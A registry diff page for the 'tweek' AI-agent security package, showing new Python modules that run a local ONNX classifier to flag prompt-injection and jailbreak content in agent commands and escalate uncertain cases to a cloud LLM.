tweek 0.1.0__py3-none-any.whl → 0.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- tweek/__init__.py +2 -2
- tweek/_keygen.py +53 -0
- tweek/audit.py +288 -0
- tweek/cli.py +5303 -2396
- tweek/cli_model.py +380 -0
- tweek/config/families.yaml +609 -0
- tweek/config/manager.py +42 -5
- tweek/config/patterns.yaml +1510 -8
- tweek/config/tiers.yaml +161 -11
- tweek/diagnostics.py +71 -2
- tweek/hooks/break_glass.py +163 -0
- tweek/hooks/feedback.py +223 -0
- tweek/hooks/overrides.py +531 -0
- tweek/hooks/post_tool_use.py +472 -0
- tweek/hooks/pre_tool_use.py +1024 -62
- tweek/integrations/openclaw.py +443 -0
- tweek/integrations/openclaw_server.py +385 -0
- tweek/licensing.py +14 -54
- tweek/logging/bundle.py +2 -2
- tweek/logging/security_log.py +56 -13
- tweek/mcp/approval.py +57 -16
- tweek/mcp/proxy.py +18 -0
- tweek/mcp/screening.py +5 -5
- tweek/mcp/server.py +4 -1
- tweek/memory/__init__.py +24 -0
- tweek/memory/queries.py +223 -0
- tweek/memory/safety.py +140 -0
- tweek/memory/schemas.py +80 -0
- tweek/memory/store.py +989 -0
- tweek/platform/__init__.py +4 -4
- tweek/plugins/__init__.py +40 -24
- tweek/plugins/base.py +1 -1
- tweek/plugins/detectors/__init__.py +3 -3
- tweek/plugins/detectors/{moltbot.py → openclaw.py} +30 -27
- tweek/plugins/git_discovery.py +16 -4
- tweek/plugins/git_registry.py +8 -2
- tweek/plugins/git_security.py +21 -9
- tweek/plugins/screening/__init__.py +10 -1
- tweek/plugins/screening/heuristic_scorer.py +477 -0
- tweek/plugins/screening/llm_reviewer.py +14 -6
- tweek/plugins/screening/local_model_reviewer.py +161 -0
- tweek/proxy/__init__.py +38 -37
- tweek/proxy/addon.py +22 -3
- tweek/proxy/interceptor.py +1 -0
- tweek/proxy/server.py +4 -2
- tweek/sandbox/__init__.py +11 -0
- tweek/sandbox/docker_bridge.py +143 -0
- tweek/sandbox/executor.py +9 -6
- tweek/sandbox/layers.py +97 -0
- tweek/sandbox/linux.py +1 -0
- tweek/sandbox/project.py +548 -0
- tweek/sandbox/registry.py +149 -0
- tweek/security/__init__.py +9 -0
- tweek/security/language.py +250 -0
- tweek/security/llm_reviewer.py +1146 -60
- tweek/security/local_model.py +331 -0
- tweek/security/local_reviewer.py +146 -0
- tweek/security/model_registry.py +371 -0
- tweek/security/rate_limiter.py +11 -6
- tweek/security/secret_scanner.py +70 -4
- tweek/security/session_analyzer.py +26 -2
- tweek/skill_template/SKILL.md +200 -0
- tweek/skill_template/__init__.py +0 -0
- tweek/skill_template/cli-reference.md +331 -0
- tweek/skill_template/overrides-reference.md +184 -0
- tweek/skill_template/scripts/__init__.py +0 -0
- tweek/skill_template/scripts/check_installed.py +170 -0
- tweek/skills/__init__.py +38 -0
- tweek/skills/config.py +150 -0
- tweek/skills/fingerprints.py +198 -0
- tweek/skills/guard.py +293 -0
- tweek/skills/isolation.py +469 -0
- tweek/skills/scanner.py +715 -0
- tweek/vault/__init__.py +0 -1
- tweek/vault/cross_platform.py +12 -1
- tweek/vault/keychain.py +87 -29
- tweek-0.2.0.dist-info/METADATA +281 -0
- tweek-0.2.0.dist-info/RECORD +121 -0
- {tweek-0.1.0.dist-info → tweek-0.2.0.dist-info}/entry_points.txt +8 -1
- {tweek-0.1.0.dist-info → tweek-0.2.0.dist-info}/licenses/LICENSE +80 -0
- tweek/integrations/moltbot.py +0 -243
- tweek-0.1.0.dist-info/METADATA +0 -335
- tweek-0.1.0.dist-info/RECORD +0 -85
- {tweek-0.1.0.dist-info → tweek-0.2.0.dist-info}/WHEEL +0 -0
- {tweek-0.1.0.dist-info → tweek-0.2.0.dist-info}/top_level.txt +0 -0
|
@@ -0,0 +1,331 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
Tweek Local Model Inference Engine
|
|
4
|
+
|
|
5
|
+
Runs ONNX-based security classifiers for local prompt injection detection.
|
|
6
|
+
No cloud API calls needed — inference runs entirely on-device.
|
|
7
|
+
|
|
8
|
+
Dependencies (optional):
|
|
9
|
+
pip install onnxruntime tokenizers numpy
|
|
10
|
+
|
|
11
|
+
When dependencies are not installed, the module gracefully degrades:
|
|
12
|
+
LOCAL_MODEL_AVAILABLE will be False, and get_local_model() returns None.
|
|
13
|
+
"""
|
|
14
|
+
|
|
15
|
+
import threading
|
|
16
|
+
import time
|
|
17
|
+
from dataclasses import dataclass, field
|
|
18
|
+
from pathlib import Path
|
|
19
|
+
from typing import Dict, List, Optional
|
|
20
|
+
|
|
21
|
+
# Optional dependency guards
|
|
22
|
+
try:
|
|
23
|
+
import onnxruntime as ort
|
|
24
|
+
|
|
25
|
+
ONNX_AVAILABLE = True
|
|
26
|
+
except ImportError:
|
|
27
|
+
ONNX_AVAILABLE = False
|
|
28
|
+
|
|
29
|
+
try:
|
|
30
|
+
from tokenizers import Tokenizer
|
|
31
|
+
|
|
32
|
+
TOKENIZERS_AVAILABLE = True
|
|
33
|
+
except ImportError:
|
|
34
|
+
TOKENIZERS_AVAILABLE = False
|
|
35
|
+
|
|
36
|
+
try:
|
|
37
|
+
import numpy as np
|
|
38
|
+
|
|
39
|
+
NUMPY_AVAILABLE = True
|
|
40
|
+
except ImportError:
|
|
41
|
+
NUMPY_AVAILABLE = False
|
|
42
|
+
|
|
43
|
+
LOCAL_MODEL_AVAILABLE = ONNX_AVAILABLE and TOKENIZERS_AVAILABLE and NUMPY_AVAILABLE
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
# ============================================================================
|
|
47
|
+
# DATA CLASSES
|
|
48
|
+
# ============================================================================
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
@dataclass
|
|
52
|
+
class LocalModelResult:
|
|
53
|
+
"""Result from local model inference."""
|
|
54
|
+
|
|
55
|
+
risk_level: str # "safe", "suspicious", "dangerous"
|
|
56
|
+
label: str # Raw label from model (e.g., "benign", "injection", "jailbreak")
|
|
57
|
+
confidence: float # 0.0 - 1.0, confidence in the predicted label
|
|
58
|
+
all_scores: Dict[str, float] # All label scores
|
|
59
|
+
should_escalate: bool # Whether to escalate to cloud LLM
|
|
60
|
+
model_name: str
|
|
61
|
+
inference_time_ms: float
|
|
62
|
+
|
|
63
|
+
@property
|
|
64
|
+
def is_dangerous(self) -> bool:
|
|
65
|
+
return self.risk_level == "dangerous"
|
|
66
|
+
|
|
67
|
+
@property
|
|
68
|
+
def is_suspicious(self) -> bool:
|
|
69
|
+
return self.risk_level in ("suspicious", "dangerous")
|
|
70
|
+
|
|
71
|
+
|
|
72
|
+
# ============================================================================
|
|
73
|
+
# INFERENCE ENGINE
|
|
74
|
+
# ============================================================================
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
class LocalModelInference:
|
|
78
|
+
"""ONNX-based local model inference engine.
|
|
79
|
+
|
|
80
|
+
Thread-safe with lazy loading. The model is loaded on first predict()
|
|
81
|
+
call and cached for subsequent calls.
|
|
82
|
+
"""
|
|
83
|
+
|
|
84
|
+
def __init__(self, model_dir: Path, model_name: str = "unknown"):
|
|
85
|
+
self._model_dir = model_dir
|
|
86
|
+
self._model_name = model_name
|
|
87
|
+
self._session: Optional[object] = None # ort.InferenceSession
|
|
88
|
+
self._tokenizer: Optional[object] = None # Tokenizer
|
|
89
|
+
self._lock = threading.Lock()
|
|
90
|
+
self._loaded = False
|
|
91
|
+
|
|
92
|
+
# Load metadata
|
|
93
|
+
self._label_map: Dict[int, str] = {}
|
|
94
|
+
self._risk_map: Dict[str, str] = {}
|
|
95
|
+
self._max_length: int = 512
|
|
96
|
+
self._escalate_min: float = 0.1
|
|
97
|
+
self._escalate_max: float = 0.9
|
|
98
|
+
|
|
99
|
+
def _load_metadata(self) -> None:
|
|
100
|
+
"""Load model metadata from catalog or meta file."""
|
|
101
|
+
from tweek.security.model_registry import get_model_definition
|
|
102
|
+
|
|
103
|
+
definition = get_model_definition(self._model_name)
|
|
104
|
+
if definition:
|
|
105
|
+
self._label_map = definition.label_map
|
|
106
|
+
self._risk_map = definition.risk_map
|
|
107
|
+
self._max_length = definition.max_length
|
|
108
|
+
self._escalate_min = definition.escalate_min_confidence
|
|
109
|
+
self._escalate_max = definition.escalate_max_confidence
|
|
110
|
+
return
|
|
111
|
+
|
|
112
|
+
# Fallback: try to load from model_meta.yaml
|
|
113
|
+
meta_path = self._model_dir / "model_meta.yaml"
|
|
114
|
+
if meta_path.exists():
|
|
115
|
+
import yaml
|
|
116
|
+
|
|
117
|
+
with open(meta_path) as f:
|
|
118
|
+
meta = yaml.safe_load(f) or {}
|
|
119
|
+
|
|
120
|
+
self._label_map = {
|
|
121
|
+
int(k): v for k, v in meta.get("label_map", {}).items()
|
|
122
|
+
}
|
|
123
|
+
self._risk_map = meta.get("risk_map", {})
|
|
124
|
+
self._max_length = meta.get("max_length", 512)
|
|
125
|
+
|
|
126
|
+
def load(self) -> None:
|
|
127
|
+
"""Load the model and tokenizer. Thread-safe."""
|
|
128
|
+
if self._loaded:
|
|
129
|
+
return
|
|
130
|
+
|
|
131
|
+
with self._lock:
|
|
132
|
+
if self._loaded:
|
|
133
|
+
return
|
|
134
|
+
|
|
135
|
+
if not LOCAL_MODEL_AVAILABLE:
|
|
136
|
+
raise RuntimeError(
|
|
137
|
+
"Local model dependencies not installed. "
|
|
138
|
+
"Install with: pip install tweek[local-models]"
|
|
139
|
+
)
|
|
140
|
+
|
|
141
|
+
model_path = self._model_dir / "model.onnx"
|
|
142
|
+
tokenizer_path = self._model_dir / "tokenizer.json"
|
|
143
|
+
|
|
144
|
+
if not model_path.exists():
|
|
145
|
+
raise FileNotFoundError(
|
|
146
|
+
f"Model file not found: {model_path}. "
|
|
147
|
+
f"Run 'tweek model download' to install."
|
|
148
|
+
)
|
|
149
|
+
|
|
150
|
+
if not tokenizer_path.exists():
|
|
151
|
+
raise FileNotFoundError(
|
|
152
|
+
f"Tokenizer file not found: {tokenizer_path}. "
|
|
153
|
+
f"Run 'tweek model download' to install."
|
|
154
|
+
)
|
|
155
|
+
|
|
156
|
+
# Load ONNX session with CPU-only execution
|
|
157
|
+
sess_options = ort.SessionOptions()
|
|
158
|
+
sess_options.graph_optimization_level = (
|
|
159
|
+
ort.GraphOptimizationLevel.ORT_ENABLE_ALL
|
|
160
|
+
)
|
|
161
|
+
sess_options.intra_op_num_threads = 1 # Minimize CPU impact
|
|
162
|
+
|
|
163
|
+
self._session = ort.InferenceSession(
|
|
164
|
+
str(model_path),
|
|
165
|
+
sess_options,
|
|
166
|
+
providers=["CPUExecutionProvider"],
|
|
167
|
+
)
|
|
168
|
+
|
|
169
|
+
# Load tokenizer
|
|
170
|
+
self._tokenizer = Tokenizer.from_file(str(tokenizer_path))
|
|
171
|
+
self._tokenizer.enable_truncation(max_length=self._max_length)
|
|
172
|
+
self._tokenizer.enable_padding(
|
|
173
|
+
length=self._max_length, pad_id=0, pad_token="[PAD]"
|
|
174
|
+
)
|
|
175
|
+
|
|
176
|
+
# Load metadata
|
|
177
|
+
self._load_metadata()
|
|
178
|
+
|
|
179
|
+
self._loaded = True
|
|
180
|
+
|
|
181
|
+
def is_loaded(self) -> bool:
|
|
182
|
+
"""Check if the model is loaded."""
|
|
183
|
+
return self._loaded
|
|
184
|
+
|
|
185
|
+
def unload(self) -> None:
|
|
186
|
+
"""Unload the model and free memory."""
|
|
187
|
+
with self._lock:
|
|
188
|
+
self._session = None
|
|
189
|
+
self._tokenizer = None
|
|
190
|
+
self._loaded = False
|
|
191
|
+
|
|
192
|
+
def predict(self, text: str) -> LocalModelResult:
|
|
193
|
+
"""Run inference on the given text.
|
|
194
|
+
|
|
195
|
+
Args:
|
|
196
|
+
text: The command or content to classify.
|
|
197
|
+
|
|
198
|
+
Returns:
|
|
199
|
+
LocalModelResult with classification and confidence.
|
|
200
|
+
"""
|
|
201
|
+
self.load()
|
|
202
|
+
|
|
203
|
+
start_time = time.perf_counter()
|
|
204
|
+
|
|
205
|
+
# Tokenize
|
|
206
|
+
encoding = self._tokenizer.encode(text)
|
|
207
|
+
input_ids = np.array([encoding.ids], dtype=np.int64)
|
|
208
|
+
attention_mask = np.array([encoding.attention_mask], dtype=np.int64)
|
|
209
|
+
|
|
210
|
+
# Run inference
|
|
211
|
+
feeds = {
|
|
212
|
+
"input_ids": input_ids,
|
|
213
|
+
"attention_mask": attention_mask,
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
# Some models also need token_type_ids
|
|
217
|
+
input_names = [inp.name for inp in self._session.get_inputs()]
|
|
218
|
+
if "token_type_ids" in input_names:
|
|
219
|
+
token_type_ids = np.zeros_like(input_ids)
|
|
220
|
+
feeds["token_type_ids"] = token_type_ids
|
|
221
|
+
|
|
222
|
+
outputs = self._session.run(None, feeds)
|
|
223
|
+
logits = outputs[0][0] # First output, first batch item
|
|
224
|
+
|
|
225
|
+
# Softmax
|
|
226
|
+
scores = _softmax(logits)
|
|
227
|
+
|
|
228
|
+
# Get predicted label
|
|
229
|
+
predicted_idx = int(np.argmax(scores))
|
|
230
|
+
confidence = float(scores[predicted_idx])
|
|
231
|
+
|
|
232
|
+
# Map to label and risk
|
|
233
|
+
label = self._label_map.get(predicted_idx, f"label_{predicted_idx}")
|
|
234
|
+
risk_level = self._risk_map.get(label, "suspicious")
|
|
235
|
+
|
|
236
|
+
# Build all scores dict
|
|
237
|
+
all_scores = {}
|
|
238
|
+
for idx, score in enumerate(scores):
|
|
239
|
+
lbl = self._label_map.get(idx, f"label_{idx}")
|
|
240
|
+
all_scores[lbl] = float(score)
|
|
241
|
+
|
|
242
|
+
# Determine escalation
|
|
243
|
+
should_escalate = self._escalate_min <= confidence <= self._escalate_max
|
|
244
|
+
# If the prediction is "safe" with high confidence, don't escalate
|
|
245
|
+
if risk_level == "safe" and confidence > self._escalate_max:
|
|
246
|
+
should_escalate = False
|
|
247
|
+
# If the prediction is "dangerous" with high confidence, don't escalate
|
|
248
|
+
if risk_level == "dangerous" and confidence > self._escalate_max:
|
|
249
|
+
should_escalate = False
|
|
250
|
+
|
|
251
|
+
elapsed_ms = (time.perf_counter() - start_time) * 1000
|
|
252
|
+
|
|
253
|
+
return LocalModelResult(
|
|
254
|
+
risk_level=risk_level,
|
|
255
|
+
label=label,
|
|
256
|
+
confidence=confidence,
|
|
257
|
+
all_scores=all_scores,
|
|
258
|
+
should_escalate=should_escalate,
|
|
259
|
+
model_name=self._model_name,
|
|
260
|
+
inference_time_ms=round(elapsed_ms, 2),
|
|
261
|
+
)
|
|
262
|
+
|
|
263
|
+
|
|
264
|
+
# ============================================================================
|
|
265
|
+
# UTILITIES
|
|
266
|
+
# ============================================================================
|
|
267
|
+
|
|
268
|
+
|
|
269
|
+
def _softmax(logits) -> "np.ndarray":
|
|
270
|
+
"""Compute softmax over logits."""
|
|
271
|
+
exp_logits = np.exp(logits - np.max(logits))
|
|
272
|
+
return exp_logits / exp_logits.sum()
|
|
273
|
+
|
|
274
|
+
|
|
275
|
+
# ============================================================================
|
|
276
|
+
# SINGLETON
|
|
277
|
+
# ============================================================================
|
|
278
|
+
|
|
279
|
+
_local_model: Optional[LocalModelInference] = None
|
|
280
|
+
_local_model_lock = threading.Lock()
|
|
281
|
+
|
|
282
|
+
|
|
283
|
+
def get_local_model(model_name: Optional[str] = None) -> Optional[LocalModelInference]:
|
|
284
|
+
"""Get the singleton local model instance.
|
|
285
|
+
|
|
286
|
+
Returns None if local model dependencies are not installed or
|
|
287
|
+
the model is not downloaded.
|
|
288
|
+
|
|
289
|
+
Args:
|
|
290
|
+
model_name: Override model name. None = use configured default.
|
|
291
|
+
|
|
292
|
+
Returns:
|
|
293
|
+
LocalModelInference instance, or None if unavailable.
|
|
294
|
+
"""
|
|
295
|
+
if not LOCAL_MODEL_AVAILABLE:
|
|
296
|
+
return None
|
|
297
|
+
|
|
298
|
+
global _local_model
|
|
299
|
+
|
|
300
|
+
if _local_model is not None:
|
|
301
|
+
return _local_model
|
|
302
|
+
|
|
303
|
+
with _local_model_lock:
|
|
304
|
+
if _local_model is not None:
|
|
305
|
+
return _local_model
|
|
306
|
+
|
|
307
|
+
from tweek.security.model_registry import (
|
|
308
|
+
get_default_model_name,
|
|
309
|
+
get_model_dir,
|
|
310
|
+
is_model_installed,
|
|
311
|
+
)
|
|
312
|
+
|
|
313
|
+
name = model_name or get_default_model_name()
|
|
314
|
+
if not is_model_installed(name):
|
|
315
|
+
return None
|
|
316
|
+
|
|
317
|
+
_local_model = LocalModelInference(
|
|
318
|
+
model_dir=get_model_dir(name),
|
|
319
|
+
model_name=name,
|
|
320
|
+
)
|
|
321
|
+
|
|
322
|
+
return _local_model
|
|
323
|
+
|
|
324
|
+
|
|
325
|
+
def reset_local_model() -> None:
|
|
326
|
+
"""Reset the singleton local model (for testing)."""
|
|
327
|
+
global _local_model
|
|
328
|
+
with _local_model_lock:
|
|
329
|
+
if _local_model is not None:
|
|
330
|
+
_local_model.unload()
|
|
331
|
+
_local_model = None
|
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
Tweek Local Model Review Provider
|
|
4
|
+
|
|
5
|
+
Bridges the local ONNX model into the ReviewProvider interface used by
|
|
6
|
+
LLMReviewer. This allows the local model to be a drop-in replacement
|
|
7
|
+
for cloud LLM providers with zero changes to the hook pipeline.
|
|
8
|
+
|
|
9
|
+
Two-tier escalation:
|
|
10
|
+
- High-confidence local results are returned directly (~20ms)
|
|
11
|
+
- Uncertain results escalate to cloud LLM if available (~500-5000ms)
|
|
12
|
+
- If no cloud LLM is available, local result is used as-is
|
|
13
|
+
"""
|
|
14
|
+
|
|
15
|
+
import json
|
|
16
|
+
import re
|
|
17
|
+
from typing import Optional
|
|
18
|
+
|
|
19
|
+
from tweek.security.llm_reviewer import ReviewProvider, ReviewProviderError
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
class LocalModelReviewProvider(ReviewProvider):
|
|
23
|
+
"""ReviewProvider backed by a local ONNX model.
|
|
24
|
+
|
|
25
|
+
Runs inference locally and returns JSON-formatted results compatible
|
|
26
|
+
with LLMReviewer._parse_response(). Optionally escalates uncertain
|
|
27
|
+
results to a cloud LLM provider.
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
def __init__(
|
|
31
|
+
self,
|
|
32
|
+
model_name: str = "deberta-v3-injection",
|
|
33
|
+
escalation_provider: Optional[ReviewProvider] = None,
|
|
34
|
+
):
|
|
35
|
+
"""Initialize the local model review provider.
|
|
36
|
+
|
|
37
|
+
Args:
|
|
38
|
+
model_name: Name of the local model to use.
|
|
39
|
+
escalation_provider: Optional cloud LLM provider for uncertain results.
|
|
40
|
+
"""
|
|
41
|
+
self._model_name = model_name
|
|
42
|
+
self._escalation_provider = escalation_provider
|
|
43
|
+
|
|
44
|
+
def call(self, system_prompt: str, user_prompt: str, max_tokens: int = 256) -> str:
|
|
45
|
+
"""Run local inference and return JSON result.
|
|
46
|
+
|
|
47
|
+
Extracts the command from <untrusted_command> tags in the user prompt,
|
|
48
|
+
runs local inference, and returns a JSON string in the same format
|
|
49
|
+
that LLMReviewer._parse_response() expects.
|
|
50
|
+
|
|
51
|
+
If the local model is uncertain and an escalation provider is
|
|
52
|
+
available, the request is forwarded to the cloud LLM.
|
|
53
|
+
|
|
54
|
+
Args:
|
|
55
|
+
system_prompt: System-level instructions (used for escalation only).
|
|
56
|
+
user_prompt: User message containing <untrusted_command> tags.
|
|
57
|
+
max_tokens: Max tokens (used for escalation only).
|
|
58
|
+
|
|
59
|
+
Returns:
|
|
60
|
+
JSON string with risk_level, reason, and confidence.
|
|
61
|
+
"""
|
|
62
|
+
from tweek.security.local_model import get_local_model
|
|
63
|
+
|
|
64
|
+
# Extract command from untrusted_command tags
|
|
65
|
+
command = self._extract_command(user_prompt)
|
|
66
|
+
if not command:
|
|
67
|
+
return json.dumps({
|
|
68
|
+
"risk_level": "safe",
|
|
69
|
+
"reason": "No command content to analyze",
|
|
70
|
+
"confidence": 1.0,
|
|
71
|
+
})
|
|
72
|
+
|
|
73
|
+
model = get_local_model(self._model_name)
|
|
74
|
+
if model is None:
|
|
75
|
+
# Model not available — fall through to escalation or safe default
|
|
76
|
+
if self._escalation_provider:
|
|
77
|
+
return self._escalation_provider.call(
|
|
78
|
+
system_prompt, user_prompt, max_tokens
|
|
79
|
+
)
|
|
80
|
+
return json.dumps({
|
|
81
|
+
"risk_level": "safe",
|
|
82
|
+
"reason": "Local model not available",
|
|
83
|
+
"confidence": 0.0,
|
|
84
|
+
})
|
|
85
|
+
|
|
86
|
+
# Run local inference
|
|
87
|
+
result = model.predict(command)
|
|
88
|
+
|
|
89
|
+
# Check if we should escalate to cloud LLM
|
|
90
|
+
if result.should_escalate and self._escalation_provider:
|
|
91
|
+
try:
|
|
92
|
+
return self._escalation_provider.call(
|
|
93
|
+
system_prompt, user_prompt, max_tokens
|
|
94
|
+
)
|
|
95
|
+
except ReviewProviderError:
|
|
96
|
+
# Cloud LLM failed — fall back to local result
|
|
97
|
+
pass
|
|
98
|
+
|
|
99
|
+
# Map local result to LLM reviewer JSON format
|
|
100
|
+
return json.dumps({
|
|
101
|
+
"risk_level": result.risk_level,
|
|
102
|
+
"reason": (
|
|
103
|
+
f"Local model ({result.model_name}): "
|
|
104
|
+
f"{result.label} (confidence: {result.confidence:.1%})"
|
|
105
|
+
),
|
|
106
|
+
"confidence": result.confidence,
|
|
107
|
+
})
|
|
108
|
+
|
|
109
|
+
def is_available(self) -> bool:
|
|
110
|
+
"""Check if the local model is available."""
|
|
111
|
+
from tweek.security.local_model import LOCAL_MODEL_AVAILABLE, get_local_model
|
|
112
|
+
|
|
113
|
+
if not LOCAL_MODEL_AVAILABLE:
|
|
114
|
+
return False
|
|
115
|
+
|
|
116
|
+
model = get_local_model(self._model_name)
|
|
117
|
+
return model is not None
|
|
118
|
+
|
|
119
|
+
@property
|
|
120
|
+
def name(self) -> str:
|
|
121
|
+
return "local"
|
|
122
|
+
|
|
123
|
+
@property
|
|
124
|
+
def model_name(self) -> str:
|
|
125
|
+
return self._model_name
|
|
126
|
+
|
|
127
|
+
@staticmethod
|
|
128
|
+
def _extract_command(user_prompt: str) -> str:
|
|
129
|
+
"""Extract the command from <untrusted_command> tags.
|
|
130
|
+
|
|
131
|
+
Args:
|
|
132
|
+
user_prompt: The full user prompt from LLMReviewer.
|
|
133
|
+
|
|
134
|
+
Returns:
|
|
135
|
+
The extracted command text, or the full prompt if no tags found.
|
|
136
|
+
"""
|
|
137
|
+
match = re.search(
|
|
138
|
+
r"<untrusted_command>\s*(.*?)\s*</untrusted_command>",
|
|
139
|
+
user_prompt,
|
|
140
|
+
re.DOTALL,
|
|
141
|
+
)
|
|
142
|
+
if match:
|
|
143
|
+
return match.group(1).strip()
|
|
144
|
+
|
|
145
|
+
# Fallback: use the whole prompt (minus any obvious framing text)
|
|
146
|
+
return user_prompt.strip()
|